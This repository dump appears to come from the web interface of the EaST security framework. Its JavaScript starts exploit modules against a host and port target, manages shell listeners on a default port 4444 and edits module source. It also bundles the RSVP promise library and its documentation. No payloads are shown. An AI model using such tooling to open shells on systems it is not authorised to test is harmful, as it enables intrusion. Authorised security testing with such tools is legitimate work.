    */}.toString().slice(14,-3); Vue.component('re-service-messages', { template: serviceMessagesTemplate, props: { messages: [] }, data: function() { return { show: false, } }, methods: { getMessageLevel: function (index) { var entry = this.messages[index]; if (entry.level == 4) { return 'list-group-item list-group-item-danger'; } else if (entry.level == 3) { return 'list-group-item list-group-item-warning'; } else if (entry.level == 2) { return 'list-group-item list-group-item-info' } else { return '' } }, install: function(index) { var entry = this.messages[index]; entry.installed = true; var self = this; guiCommandsHandler.installViaPip(entry.module_to_import, function(event) { var args = event.args; if (args.error) { toastr.error(args.message); entry.installed = false; return; } self.messages = _.filter(self.messages, function(message) { if (message.message_type == 1) { return message.module_to_import != entry.module_to_import; } else { return true; } }) toastr.success('Module ' + entry.module_to_import + ' successfully installed'); if (!self.messages || !self.messages.length) { self.show = false; } }); } } }) ================================================ FILE: ui/js/guiCommands.js ================================================ var GuiCommandsHandler = function() { }; GuiCommandsHandler.prototype = { hello: function(callback) { var data = {hello:{name: 'EastUI', type:'ui'}}; doSend(data, callback); }, showOptions: function(module_name, callback) { var data = {command: 'get_module_options', args: { module_name: module_name }}; doSend(data, callback); }, getAllData: function(callback){ var data = {command: 'get_all_server_data', args: ''}; doSend(data, callback); }, sendListenerCommand: function(module_name, message, callback){ var data = { command: 'gui_command_to_listener', args: { module_name: module_name, message: message }}; doSend(data, callback); }, startModule: function(args, callback){ var data = { command: 'start_module', args: args }; doSend(data, callback); }, killProcess: function(tabName){ var data = {command: 'kill_process', args: {module_name: tabName}}; doSend(data); }, getSource: function(module_name, callback){ var data = {command: 'get_source', args: {'module_name': module_name}}; doSend(data, callback); }, saveSource: function(module_name, code) { var data = {command: 'save_source', args: {'module_name': module_name, 'message': code}}; doSend(data); }, installViaPip: function(library_name, callback) { var data = { command: 'install_via_pip', args: {'library_name': library_name}} doSend(data, callback); }, getModulesLog: function(callback) { var data = {command: 'get_modules_log', args: {}} doSend(data, callback); }, }; guiCommandsHandler = new GuiCommandsHandler(); function genUUID4() { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8); return v.toString(16); }); } function bindEvent(event_type, callback) { $(document).unbind(event_type); $(document).on(event_type, callback); } ================================================ FILE: ui/js/main.js ================================================ toastr.options.timeOut = 1000; $(document).ready(function() { mainVue = new Vue({ el: '#mainVue', data: commonData, events: { onTreeNodeSelected: function(data, module) { this.selectedModule = module; }, onTreeNodeClicked: function(module) { this.runSelectedModule(module.NAME); }, onTabClose: function(tab) { // Kill process at server-side guiCommandsHandler.killProcess(tab.title); }, onSendCommand: function(command, tab) { guiCommandsHandler.sendListenerCommand(tab.title, command); var index = _.indexOf(this.tabsData, tab); }, onImageClick: function(image) { imagePopup.showImage(image); }, onModuleEdit: function(module) { this.editSelectedModule(module.NAME) } }, ready: function() { bindEvent("on_module_message", this.onModuleMessage); bindEvent("on_listener_message", this.onListenerMessage); }, methods: { addTab: function(data) { this.tabs.push(data); }, runSelectedModule: function(moduleName) { guiCommandsHandler.showOptions(moduleName, function(evt) { optionsDialog.showDialog(moduleName, evt.args); }); }, editSelectedModule: function(moduleName) { guiCommandsHandler.getSource(moduleName, function(evt) { var args = evt.args; var content = args.message; editorDialog.showContent(moduleName, content); }); }, onModuleMessage: function(e) { var args = e.args; var module = _.find(this.tabs, {title: args.module_name}); if(!module) return var index = _.indexOf(this.tabs, module); if (args.message.type == 'image') { args.message.message = 'data:image/jpg;base64,' + args.message.message; } module.content.push(args.message); if (args.state != null) { module.state = args.state; showTabInfo(module); } if (index != -1) { var selector = '.tab-content #tab_item_' + index + ' .logView'; Vue.nextTick(function () { $(selector).scrollTop($(selector)[0].scrollHeight); }) } }, onListenerMessage: function(e) { var args = e.args; var listenerState = args.state; var listenerMessage = args.message; var module = _.find(this.tabs, {title: args.module_name}); if (!module) return var index = _.indexOf(this.tabs, module); module.listenerMessages += '\n' + listenerMessage; if (listenerState == 1 && module.listenerState != 1){ module.listenerState = listenerState; toastr.success("Shell successfully connected to " + args.module_name); showTabInfo(module); } if (listenerState == 2 && module.listenerState != 2){ module.listenerState = listenerState; toastr.warning("Listener disconnected from " + args.module_name); showTabInfo(module); } var selector = '.tab-content #tab_item_' + index + ' .pre-scrollable'; Vue.nextTick(function () { $(selector).scrollTop($(selector)[0].scrollHeight); }) } } }) optionsDialog = new Vue({ el: '#optionsDialog', data: { options: [], show: false, moduleName: {}, useListener: false, useCustomPort: false, customPort: 4444, listenerType: 1 }, methods: { showDialog: function(moduleName, options) { var hostPort = commonData.target.split(':'); if (hostPort) { var host = hostPort[0]; var port; if (hostPort.length > 1) { port = hostPort[1]; } _.forEach(options, function(entry, index) { if (entry.option.toLowerCase() == "host") options[index].value.value = host || entry.value.value; else if (entry.option.toLowerCase() == "port") options[index].value.value = port || entry.value.value; }) } this.$data.moduleName = moduleName; this.$data.options = options; this.$data.show = true; }, ok: function() { var args = { module_name: this.moduleName, listener_type: this.listenerType, use_listener: this.useListener, use_custom_port: this.useCustomPort, custom_port: this.customPort, options: this.options }; guiCommandsHandler.startModule(args, function(e) { var args = e.args; if (args.error) { toastr.error(args.message, 'Error', {timeOut: 5000}); return; } var data = { title: args.module_name, content: [{message: 'Module ' + args.module_name + ' has been started', type: 'text'}], active: true, useListener: args.listener, listenerMessages: '', listenerState: 0, state: null }; mainVue.addTab(data); }); this.cancel(); }, cancel: function() { this.show = false; }, enableListener: function () { if (!this.useCustomPort) { this.useListener = true; } }, checkCustomPort: function() { if (this.useCustomPort && this.useListener) { this.useCustomPort = false; } } } }) imagePopup = new Vue({ el: '#imagePopup', data: { image: '', show: false, }, methods: { showImage: function(image) { this.image = image; this.show = true; }, close: function() { this.show = false; } } }) editorDialog = new Vue({ el: '#editorDialog', data: { show: false, title: '', content: '', editor: null }, ready: function() { var scope = this; this.editor = CodeMirror.fromTextArea(document.getElementById('editor'), { lineNumbers: true, indentUnit: 4, mode: "python", autofocus: true }); this.editor.refresh(); }, methods: { showContent: function(moduleName, content) { this.title = moduleName; this.content = content; this.editor.setValue(content); this.show = true; var self = this; Vue.nextTick(function () { self.editor.refresh(); }) }, save: function() { this.content = this.editor.getValue(); guiCommandsHandler.saveSource(this.title, this.content); this.show = false; } } }) }); function changeFavicon(icon) { var $favicon = document.querySelector('link[rel="icon"]') // If a element already exists, // change its href to the given link. if ($favicon !== null) { $favicon.href = "/icons/" + icon // Otherwise, create a new element and append it to . } else { $favicon = document.createElement("link") $favicon.id = 'dynamic-favicon'; $favicon.rel = "icon" $favicon.href = "/icons/" + icon document.head.appendChild($favicon) } } function setDefaultInfo() { changeFavicon('transparent.ico'); document.title = "EaST Framework"; } function showTabInfo(tab) { if (tab.useListener) { if (tab.listenerState == 0) { changeFavicon('listener-enabled.ico'); } else if (tab.listenerState == 1) { changeFavicon('listener-connected.ico'); } else if (tab.listenerState == 2) { changeFavicon('listener-disconnected.ico'); } } else { changeFavicon('transparent.ico'); } var title = tab.title if (tab.state == true) { title += "(SUCCEEDED)"; } else if (tab.state == false) { title += "(FAILED)" } else { title += "(RUNNING)" } document.title = title; } ================================================ FILE: ui/js/rsvp.js ================================================ (function(global) { var define, requireModule, require, requirejs; (function() { var registry = {}, seen = {}; define = function(name, deps, callback) { registry[name] = { deps: deps, callback: callback }; }; requirejs = require = requireModule = function(name) { requirejs._eak_seen = registry; if (seen[name]) { return seen[name]; } seen[name] = {}; if (!registry[name]) { throw new Error("Could not find module " + name); } var mod = registry[name], deps = mod.deps, callback = mod.callback, reified = [], exports; for (var i=0, l=deps.length; i 1; }; RSVP.filter(promises, filterFn).then(function(result){ // result is [ 2, 3 ] }); ``` If any of the `promises` given to `RSVP.filter` are rejected, the first promise that is rejected will be given as an argument to the returned promises's rejection handler. For example: ```javascript var promise1 = RSVP.resolve(1); var promise2 = RSVP.reject(new Error("2")); var promise3 = RSVP.reject(new Error("3")); var promises = [ promise1, promise2, promise3 ]; var filterFn = function(item){ return item > 1; }; RSVP.filter(promises, filterFn).then(function(array){ // Code here never runs because there are rejected promises! }, function(reason) { // reason.message === "2" }); ``` `RSVP.filter` will also wait for any promises returned from `filterFn`. For instance, you may want to fetch a list of users then return a subset of those users based on some asynchronous operation: ```javascript var alice = { name: 'alice' }; var bob = { name: 'bob' }; var users = [ alice, bob ]; var promises = users.map(function(user){ return RSVP.resolve(user); }); var filterFn = function(user){ // Here, Alice has permissions to create a blog post, but Bob does not. return getPrivilegesForUser(user).then(function(privs){ return privs.can_create_blog_post === true; }); }; RSVP.filter(promises, filterFn).then(function(users){ // true, because the server told us only Alice can create a blog post. users.length === 1; // false, because Alice is the only user present in `users` users[0] === bob; }); ``` @method filter @for RSVP @param {Array} promises @param {Function} filterFn - function to be called on each resolved value to filter the final results. @param {String} label optional string describing the promise. Useful for tooling. @return {Promise} */ function filter(promises, filterFn, label) { if (!isArray(promises)) { throw new TypeError('You must pass an array to filter.'); } if (!isFunction(filterFn)){ throw new TypeError("You must pass a function to filter's second argument."); } return all(promises, label).then(function(values){ return map(promises, filterFn, label).then(function(filterResults){ var i, valuesLen = values.length, filtered = []; for (i = 0; i < valuesLen; i++){ if(filterResults[i]) filtered.push(values[i]); } return filtered; }); }); } __exports__["default"] = filter; }); define("rsvp/hash", ["./promise","./utils","exports"], function(__dependency1__, __dependency2__, __exports__) { "use strict"; var Promise = __dependency1__["default"]; var isNonThenable = __dependency2__.isNonThenable; var keysOf = __dependency2__.keysOf; /** `RSVP.hash` is similar to `RSVP.all`, but takes an object instead of an array for its `promises` argument. Returns a promise that is fulfilled when all the given promises have been fulfilled, or rejected if any of them become rejected. The returned promise is fulfilled with a hash that has the same key names as the `promises` object argument. If any of the values in the object are not promises, they will simply be copied over to the fulfilled object. Example: ```javascript var promises = { myPromise: RSVP.resolve(1), yourPromise: RSVP.resolve(2), theirPromise: RSVP.resolve(3), notAPromise: 4 }; RSVP.hash(promises).then(function(hash){ // hash here is an object that looks like: // { // myPromise: 1, // yourPromise: 2, // theirPromise: 3, // notAPromise: 4 // } }); ```` If any of the `promises` given to `RSVP.hash` are rejected, the first promise that is rejected will be given as as the first argument, or as the reason to the rejection handler. For example: ```javascript var promises = { myPromise: RSVP.resolve(1), rejectedPromise: RSVP.reject(new Error("rejectedPromise")), anotherRejectedPromise: RSVP.reject(new Error("anotherRejectedPromise")), }; RSVP.hash(promises).then(function(hash){ // Code here never runs because there are rejected promises! }, function(reason) { // reason.message === "rejectedPromise" }); ``` An important note: `RSVP.hash` is intended for plain JavaScript objects that are just a set of keys and values. `RSVP.hash` will NOT preserve prototype chains. Example: ```javascript function MyConstructor(){ this.example = RSVP.resolve("Example"); } MyConstructor.prototype = { protoProperty: RSVP.resolve("Proto Property") }; var myObject = new MyConstructor(); RSVP.hash(myObject).then(function(hash){ // protoProperty will not be present, instead you will just have an // object that looks like: // { // example: "Example" // } // // hash.hasOwnProperty('protoProperty'); // false // 'undefined' === typeof hash.protoProperty }); ``` @method hash @for RSVP @param {Object} promises @param {String} label - optional string that describes the promise. Useful for tooling. @return {Promise} promise that is fulfilled when all properties of `promises` have been fulfilled, or rejected if any of them become rejected. */ __exports__["default"] = function hash(object, label) { return new Promise(function(resolve, reject){ var results = {}; var keys = keysOf(object); var remaining = keys.length; var entry, property; if (remaining === 0) { resolve(results); return; } function fulfilledTo(property) { return function(value) { results[property] = value; if (--remaining === 0) { resolve(results); } }; } function onRejection(reason) { remaining = 0; reject(reason); } for (var i = 0; i < keys.length; i++) { property = keys[i]; entry = object[property]; if (isNonThenable(entry)) { results[property] = entry; if (--remaining === 0) { resolve(results); } } else { Promise.cast(entry).then(fulfilledTo(property), onRejection); } } }); }; }); define("rsvp/instrument", ["./config","./utils","exports"], function(__dependency1__, __dependency2__, __exports__) { "use strict"; var config = __dependency1__.config; var now = __dependency2__.now; __exports__["default"] = function instrument(eventName, promise, child) { // instrumentation should not disrupt normal usage. try { config.trigger(eventName, { guid: promise._guidKey + promise._id, eventName: eventName, detail: promise._detail, childGuid: child && promise._guidKey + child._id, label: promise._label, timeStamp: now(), stack: new Error(promise._label).stack }); } catch(error) { setTimeout(function(){ throw error; }, 0); } }; }); define("rsvp/map", ["./promise","./all","./utils","exports"], function(__dependency1__, __dependency2__, __dependency3__, __exports__) { "use strict"; var Promise = __dependency1__["default"]; var all = __dependency2__["default"]; var isArray = __dependency3__.isArray; var isFunction = __dependency3__.isFunction; /** `RSVP.map` is similar to JavaScript's native `map` method, except that it waits for all promises to become fulfilled before running the `mapFn` on each item in given to `promises`. `RSVP.map` returns a promise that will become fulfilled with the result of running `mapFn` on the values the promises become fulfilled with. For example: ```javascript var promise1 = RSVP.resolve(1); var promise2 = RSVP.resolve(2); var promise3 = RSVP.resolve(3); var promises = [ promise1, promise2, promise3 ]; var mapFn = function(item){ return item + 1; }; RSVP.map(promises, mapFn).then(function(result){ // result is [ 2, 3, 4 ] }); ``` If any of the `promises` given to `RSVP.map` are rejected, the first promise that is rejected will be given as an argument to the returned promises's rejection handler. For example: ```javascript var promise1 = RSVP.resolve(1); var promise2 = RSVP.reject(new Error("2")); var promise3 = RSVP.reject(new Error("3")); var promises = [ promise1, promise2, promise3 ]; var mapFn = function(item){ return item + 1; }; RSVP.map(promises, mapFn).then(function(array){ // Code here never runs because there are rejected promises! }, function(reason) { // reason.message === "2" }); ``` `RSVP.map` will also wait if a promise is returned from `mapFn`. For example, say you want to get all comments from a set of blog posts, but you need the blog posts first becuase they contain a url to those comments. ```javscript var mapFn = function(blogPost){ // getComments does some ajax and returns an RSVP.Promise that is fulfilled // with some comments data return getComments(blogPost.comments_url); }; // getBlogPosts does some ajax and returns an RSVP.Promise that is fulfilled // with some blog post data RSVP.map(getBlogPosts(), mapFn).then(function(comments){ // comments is the result of asking the server for the comments // of all blog posts returned from getBlogPosts() }); ``` @method map @for RSVP @param {Array} promises @param {Function} mapFn function to be called on each fulfilled promise. @param {String} label optional string for labeling the promise. Useful for tooling. @return {Promise} promise that is fulfilled with the result of calling `mapFn` on each fulfilled promise or value when they become fulfilled. The promise will be rejected if any of the given `promises` become rejected. */ __exports__["default"] = function map(promises, mapFn, label) { if (!isArray(promises)) { throw new TypeError('You must pass an array to map.'); } if (!isFunction(mapFn)){ throw new TypeError("You must pass a function to map's second argument."); } return all(promises, label).then(function(results){ var resultLen = results.length, mappedResults = [], i; for (i = 0; i < resultLen; i++){ mappedResults.push(mapFn(results[i])); } return all(mappedResults, label); }); }; }); define("rsvp/node", ["./promise","exports"], function(__dependency1__, __exports__) { "use strict"; var Promise = __dependency1__["default"]; var slice = Array.prototype.slice; function makeNodeCallbackFor(resolve, reject) { return function (error, value) { if (error) { reject(error); } else if (arguments.length > 2) { resolve(slice.call(arguments, 1)); } else { resolve(value); } }; } /** `RSVP.denodeify` takes a "node-style" function and returns a function that will return an `RSVP.Promise`. You can use `denodeify` in Node.js or the browser when you'd prefer to use promises over using callbacks. For example, `denodeify` transforms the following: ```javascript var fs = require('fs'); fs.readFile('myfile.txt', function(err, data){ if (err) return handleError(err); handleData(data); }); ``` into: ```javascript var fs = require('fs'); var readFile = RSVP.denodeify(fs.readFile); readFile('myfile.txt').then(handleData, handleError); ``` Using `denodeify` makes it easier to compose asynchronous operations instead of using callbacks. For example, instead of: ```javascript var fs = require('fs'); var log = require('some-async-logger'); fs.readFile('myfile.txt', function(err, data){ if (err) return handleError(err); fs.writeFile('myfile2.txt', data, function(err){ if (err) throw err; log('success', function(err) { if (err) throw err; }); }); }); ``` You can chain the operations together using `then` from the returned promise: ```javascript var fs = require('fs'); var denodeify = RSVP.denodeify; var readFile = denodeify(fs.readFile); var writeFile = denodeify(fs.writeFile); var log = denodeify(require('some-async-logger')); readFile('myfile.txt').then(function(data){ return writeFile('myfile2.txt', data); }).then(function(){ return log('SUCCESS'); }).then(function(){ // success handler }, function(reason){ // rejection handler }); ``` @method denodeify @for RSVP @param {Function} nodeFunc a "node-style" function that takes a callback as its last argument. The callback expects an error to be passed as its first argument (if an error occurred, otherwise null), and the value from the operation as its second argument ("function(err, value){ }"). @param {Any} binding optional argument for binding the "this" value when calling the `nodeFunc` function. @return {Function} a function that wraps `nodeFunc` to return an `RSVP.Promise` */ __exports__["default"] = function denodeify(nodeFunc, binding) { return function() { var nodeArgs = slice.call(arguments), resolve, reject; var thisArg = this || binding; return new Promise(function(resolve, reject) { Promise.all(nodeArgs).then(function(nodeArgs) { try { nodeArgs.push(makeNodeCallbackFor(resolve, reject)); nodeFunc.apply(thisArg, nodeArgs); } catch(e) { reject(e); } }); }); }; }; }); define("rsvp/promise", ["./config","./events","./instrument","./utils","./promise/cast","./promise/all","./promise/race","./promise/resolve","./promise/reject","exports"], function(__dependency1__, __dependency2__, __dependency3__, __dependency4__, __dependency5__, __dependency6__, __dependency7__, __dependency8__, __dependency9__, __exports__) { "use strict"; var config = __dependency1__.config; var EventTarget = __dependency2__["default"]; var instrument = __dependency3__["default"]; var objectOrFunction = __dependency4__.objectOrFunction; var isFunction = __dependency4__.isFunction; var now = __dependency4__.now; var cast = __dependency5__["default"]; var all = __dependency6__["default"]; var race = __dependency7__["default"]; var Resolve = __dependency8__["default"]; var Reject = __dependency9__["default"]; var guidKey = 'rsvp_' + now() + '-'; var counter = 0; function noop() {} __exports__["default"] = Promise; /** Promise objects represent the eventual result of an asynchronous operation. The primary way of interacting with a promise is through its `then` method, which registers callbacks to receive either a promise’s eventual value or the reason why the promise cannot be fulfilled. Terminology ----------- - `promise` is an object or function with a `then` method whose behavior conforms to this specification. - `thenable` is an object or function that defines a `then` method. - `value` is any legal JavaScript value (including undefined, a thenable, or a promise). - `exception` is a value that is thrown using the throw statement. - `reason` is a value that indicates why a promise was rejected. - `settled` the final resting state of a promise, fulfilled or rejected. A promise can be in one of three states: pending, fulfilled, or rejected. Basic Usage: ------------ ```js var promise = new Promise(function(resolve, reject) { // on success resolve(value); // on failure reject(reason); }); promise.then(function(value) { // on fulfillment }, function(reason) { // on rejection }); ``` Advanced Usage: --------------- Promises shine when abstracting away asynchronous interactions such as `XMLHttpRequest`s. ```js function getJSON(url) { return new Promise(function(resolve, reject){ var xhr = new XMLHttpRequest(); xhr.open('GET', url); xhr.onreadystatechange = handler; xhr.responseType = 'json'; xhr.setRequestHeader('Accept', 'application/json'); xhr.send(); function handler() { if (this.readyState === this.DONE) { if (this.status === 200) { resolve(this.response); } else { reject(new Error("getJSON: `" + url + "` failed with status: [" + this.status + "]"); } } }; }); } getJSON('/posts.json').then(function(json) { // on fulfillment }, function(reason) { // on rejection }); ``` Unlike callbacks, promises are great composable primitives. ```js Promise.all([ getJSON('/posts'), getJSON('/comments') ]).then(function(values){ values[0] // => postsJSON values[1] // => commentsJSON return values; }); ``` @class Promise @param {function} @param {String} label optional string for labeling the promise. Useful for tooling. @constructor */ function Promise(resolver, label) { if (!isFunction(resolver)) { throw new TypeError('You must pass a resolver function as the first argument to the promise constructor'); } if (!(this instanceof Promise)) { throw new TypeError("Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function."); } this._id = counter++; this._label = label; this._subscribers = []; if (config.instrument) { instrument('created', this); } if (noop !== resolver) { invokeResolver(resolver, this); } } function invokeResolver(resolver, promise) { function resolvePromise(value) { resolve(promise, value); } function rejectPromise(reason) { reject(promise, reason); } try { resolver(resolvePromise, rejectPromise); } catch(e) { rejectPromise(e); } } Promise.cast = cast; Promise.all = all; Promise.race = race; Promise.resolve = Resolve; Promise.reject = Reject; var PENDING = void 0; var SEALED = 0; var FULFILLED = 1; var REJECTED = 2; function subscribe(parent, child, onFulfillment, onRejection) { var subscribers = parent._subscribers; var length = subscribers.length; subscribers[length] = child; subscribers[length + FULFILLED] = onFulfillment; subscribers[length + REJECTED] = onRejection; } function publish(promise, settled) { var child, callback, subscribers = promise._subscribers, detail = promise._detail; if (config.instrument) { instrument(settled === FULFILLED ? 'fulfilled' : 'rejected', promise); } for (var i = 0; i < subscribers.length; i += 3) { child = subscribers[i]; callback = subscribers[i + settled]; invokeCallback(settled, child, callback, detail); } promise._subscribers = null; } Promise.prototype = { /** @property constructor */ constructor: Promise, _id: undefined, _guidKey: guidKey, _label: undefined, _state: undefined, _detail: undefined, _subscribers: undefined, _onerror: function (reason) { config.trigger('error', reason); }, /** A promise represents the eventual result of an asynchronous operation. The primary way of interacting with a promise is through its `then` method, which registers callbacks to receive either a promise's eventual value or the reason why the promise cannot be fulfilled. ```js findUser().then(function(user){ // user is available }, function(reason){ // user is unavailable, and you are given the reason why }); ``` Chaining -------- The return value of `then` is itself a promise. This second, "downstream" promise is resolved with the return value of the first promise's fulfillment or rejection handler, or rejected if the handler throws an exception. ```js findUser().then(function (user) { return user.name; }, function (reason) { return "default name"; }).then(function (userName) { // If `findUser` fulfilled, `userName` will be the user's name, otherwise it // will be `"default name"` }); findUser().then(function (user) { throw "Found user, but still unhappy"; }, function (reason) { throw "`findUser` rejected and we're unhappy"; }).then(function (value) { // never reached }, function (reason) { // if `findUser` fulfilled, `reason` will be "Found user, but still unhappy". // If `findUser` rejected, `reason` will be "`findUser` rejected and we're unhappy". }); ``` If the downstream promise does not specify a rejection handler, rejection reasons will be propagated further downstream. ```js findUser().then(function (user) { throw new PedagogicalException("Upstream error"); }).then(function (value) { // never reached }).then(function (value) { // never reached }, function (reason) { // The `PedgagocialException` is propagated all the way down to here }); ``` Assimilation ------------ Sometimes the value you want to propagate to a downstream promise can only be retrieved asynchronously. This can be achieved by returning a promise in the fulfillment or rejection handler. The downstream promise will then be pending until the returned promise is settled. This is called *assimilation*. ```js findUser().then(function (user) { return findCommentsByAuthor(user); }).then(function (comments) { // The user's comments are now available }); ``` If the assimliated promise rejects, then the downstream promise will also reject. ```js findUser().then(function (user) { return findCommentsByAuthor(user); }).then(function (comments) { // If `findCommentsByAuthor` fulfills, we'll have the value here }, function (reason) { // If `findCommentsByAuthor` rejects, we'll have the reason here }); ``` Simple Example -------------- Synchronous Example ```javascript var result; try { result = findResult(); // success } catch(reason) { // failure } ``` Errback Example ```js findResult(function(result, err){ if (err) { // failure } else { // success } }); ``` Promise Example; ```javacsript findResult().then(function(result){ }, function(reason){ }); ``` Advanced Example -------------- Synchronous Example ```javascript var author, books; try { author = findAuthor(); books = findBooksByAuthor(author); // success } catch(reason) { // failure } ``` Errback Example ```js function foundBooks(books) { } function failure(reason) { } findAuthor(function(author, err){ if (err) { failure(err); // failure } else { try { findBoooksByAuthor(author, function(books, err) { if (err) { failure(err); } else { try { foundBooks(books); } catch(reason) { failure(reason); } } }); } catch(error) { failure(err); } // success } }); ``` Promise Example; ```javacsript findAuthor(). then(findBooksByAuthor). then(function(books){ // found books }).catch(function(reason){ // something went wrong; }); ``` @method then @param {Function} onFulfillment @param {Function} onRejection @param {String} label optional string for labeling the promise. Useful for tooling. @return {Promise} */ then: function(onFulfillment, onRejection, label) { var promise = this; this._onerror = null; var thenPromise = new this.constructor(noop, label); if (this._state) { var callbacks = arguments; config.async(function invokePromiseCallback() { invokeCallback(promise._state, thenPromise, callbacks[promise._state - 1], promise._detail); }); } else { subscribe(this, thenPromise, onFulfillment, onRejection); } if (config.instrument) { instrument('chained', promise, thenPromise); } return thenPromise; }, /** `catch` is simply sugar for `then(null, onRejection)` which makes it the same as the catch block, of a try/catch statement. ```js function findAuthor(){ throw new Error("couldn't find that author"); } // synchronous try { findAuthor(); } catch(reason) { } // async with promises findAuthor().catch(function(reason){ // something went wrong; }); ``` @method catch @param {Function} onRejection @param {String} label optional string for labeling the promise. Useful for tooling. @return {Promise} */ 'catch': function(onRejection, label) { return this.then(null, onRejection, label); }, /** `finally` will be invoked regardless of the promise's fate just as native try/catch/finally behaves ```js findAuthor() { if (Math.random() > 0.5) { throw new Error(); } return new Author(); } try { return findAuthor(); // succeed or fail } catch(error) { return findOtherAuther(); } finally { // always runs // doesn't effect the return value } findAuthor().finally(function(){ // author was either found, or not }); ``` @method finally @param {Function} callback @param {String} label optional string for labeling the promise. Useful for tooling. @return {Promise} */ 'finally': function(callback, label) { var constructor = this.constructor; return this.then(function(value) { return constructor.cast(callback()).then(function(){ return value; }); }, function(reason) { return constructor.cast(callback()).then(function(){ throw reason; }); }, label); } }; function invokeCallback(settled, promise, callback, detail) { var hasCallback = isFunction(callback), value, error, succeeded, failed; if (hasCallback) { try { value = callback(detail); succeeded = true; } catch(e) { failed = true; error = e; } } else { value = detail; succeeded = true; } if (handleThenable(promise, value)) { return; } else if (hasCallback && succeeded) { resolve(promise, value); } else if (failed) { reject(promise, error); } else if (settled === FULFILLED) { resolve(promise, value); } else if (settled === REJECTED) { reject(promise, value); } } function handleThenable(promise, value) { var then = null, resolved; try { if (promise === value) { throw new TypeError("A promises callback cannot return that same promise."); } if (objectOrFunction(value)) { then = value.then; if (isFunction(then)) { then.call(value, function(val) { if (resolved) { return true; } resolved = true; if (value !== val) { resolve(promise, val); } else { fulfill(promise, val); } }, function(val) { if (resolved) { return true; } resolved = true; reject(promise, val); }, 'derived from: ' + (promise._label || ' unknown promise')); return true; } } } catch (error) { if (resolved) { return true; } reject(promise, error); return true; } return false; } function resolve(promise, value) { if (promise === value) { fulfill(promise, value); } else if (!handleThenable(promise, value)) { fulfill(promise, value); } } function fulfill(promise, value) { if (promise._state !== PENDING) { return; } promise._state = SEALED; promise._detail = value; config.async(publishFulfillment, promise); } function reject(promise, reason) { if (promise._state !== PENDING) { return; } promise._state = SEALED; promise._detail = reason; config.async(publishRejection, promise); } function publishFulfillment(promise) { publish(promise, promise._state = FULFILLED); } function publishRejection(promise) { if (promise._onerror) { promise._onerror(promise._detail); } publish(promise, promise._state = REJECTED); } }); define("rsvp/promise/all", ["../utils","exports"], function(__dependency1__, __exports__) { "use strict"; var isArray = __dependency1__.isArray; var isNonThenable = __dependency1__.isNonThenable; /** `RSVP.Promise.all` returns a new promise which is fulfilled with an array of fulfillment values for the passed promises, or rejects with the reason of the first passed promise that rejects. It casts all elements of the passed iterable to promises as it runs this algorithm. Example: ```javascript var promise1 = RSVP.resolve(1); var promise2 = RSVP.resolve(2); var promise3 = RSVP.resolve(3); var promises = [ promise1, promise2, promise3 ]; RSVP.Promise.all(promises).then(function(array){ // The array here would be [ 1, 2, 3 ]; }); ``` If any of the `promises` given to `RSVP.all` are rejected, the first promise that is rejected will be given as an argument to the returned promises's rejection handler. For example: Example: ```javascript var promise1 = RSVP.resolve(1); var promise2 = RSVP.reject(new Error("2")); var promise3 = RSVP.reject(new Error("3")); var promises = [ promise1, promise2, promise3 ]; RSVP.Promise.all(promises).then(function(array){ // Code here never runs because there are rejected promises! }, function(error) { // error.message === "2" }); ``` @method all @for RSVP.Promise @param {Array} promises @param {String} label optional string for labeling the promise. Useful for tooling. @return {Promise} promise that is fulfilled when all `promises` have been fulfilled, or rejected if any of them become rejected. */ __exports__["default"] = function all(entries, label) { /*jshint validthis:true */ var Constructor = this; return new Constructor(function(resolve, reject) { if (!isArray(entries)) { throw new TypeError('You must pass an array to all.'); } var remaining = entries.length; var results = new Array(remaining); var entry, pending = true; if (remaining === 0) { resolve(results); return; } function fulfillmentAt(index) { return function(value) { results[index] = value; if (--remaining === 0) { resolve(results); } }; } function onRejection(reason) { remaining = 0; reject(reason); } for (var index = 0; index < entries.length; index++) { entry = entries[index]; if (isNonThenable(entry)) { results[index] = entry; if (--remaining === 0) { resolve(results); } } else { Constructor.cast(entry).then(fulfillmentAt(index), onRejection); } } }, label); }; }); define("rsvp/promise/cast", ["exports"], function(__exports__) { "use strict"; /** `RSVP.Promise.cast` cast coerces its argument to a promise, or returns the argument if it is already a promise which shares a constructor with the caster; Example: ```javascript var promise = RSVP.Promise.resolve(1); var casted = RSVP.Promise.cast(promise); console.log(promise === casted); // true ``` In the case of a promise whose constructor does not match, it is assimilated. The resulting promise will fulfill or reject based on the outcome of the promise being casted. In the case of a non-promise, a promise which will fulfill with that value is returned. Example: ```javascript var value = 1; // could be a number, boolean, string, undefined... var casted = RSVP.Promise.cast(value); console.log(value === casted); // false console.log(casted instanceof RSVP.Promise) // true casted.then(function(val) { val === value // => true }); ``` `RSVP.Promise.cast` is similar to `RSVP.Promise.resolve`, but `RSVP.Promise.cast` differs in the following ways: * `RSVP.Promise.cast` serves as a memory-efficient way of getting a promise, when you have something that could either be a promise or a value. RSVP.resolve will have the same effect but will create a new promise wrapper if the argument is a promise. * `RSVP.Promise.cast` is a way of casting incoming thenables or promise subclasses to promises of the exact class specified, so that the resulting object's `then` is ensured to have the behavior of the constructor you are calling cast on (i.e., RSVP.Promise). @method cast @for RSVP.Promise @param {Object} object to be casted @param {String} label optional string for labeling the promise. Useful for tooling. @return {Promise} promise */ __exports__["default"] = function cast(object, label) { /*jshint validthis:true */ var Constructor = this; if (object && typeof object === 'object' && object.constructor === Constructor) { return object; } return new Constructor(function(resolve) { resolve(object); }, label); }; }); define("rsvp/promise/race", ["../utils","exports"], function(__dependency1__, __exports__) { "use strict"; /* global toString */ var isArray = __dependency1__.isArray; var isFunction = __dependency1__.isFunction; var isNonThenable = __dependency1__.isNonThenable; /** `RSVP.Promise.race` returns a new promise which is settled in the same way as the first passed promise to settle. Example: ```javascript var promise1 = new RSVP.Promise(function(resolve, reject){ setTimeout(function(){ resolve("promise 1"); }, 200); }); var promise2 = new RSVP.Promise(function(resolve, reject){ setTimeout(function(){ resolve("promise 2"); }, 100); }); RSVP.Promise.race([promise1, promise2]).then(function(result){ // result === "promise 2" because it was resolved before promise1 // was resolved. }); ``` `RSVP.Promise.race` is deterministic in that only the state of the first completed promise matters. For example, even if other promises given to the `promises` array argument are resolved, but the first completed promise has become rejected before the other promises became fulfilled, the returned promise will become rejected: ```javascript var promise1 = new RSVP.Promise(function(resolve, reject){ setTimeout(function(){ 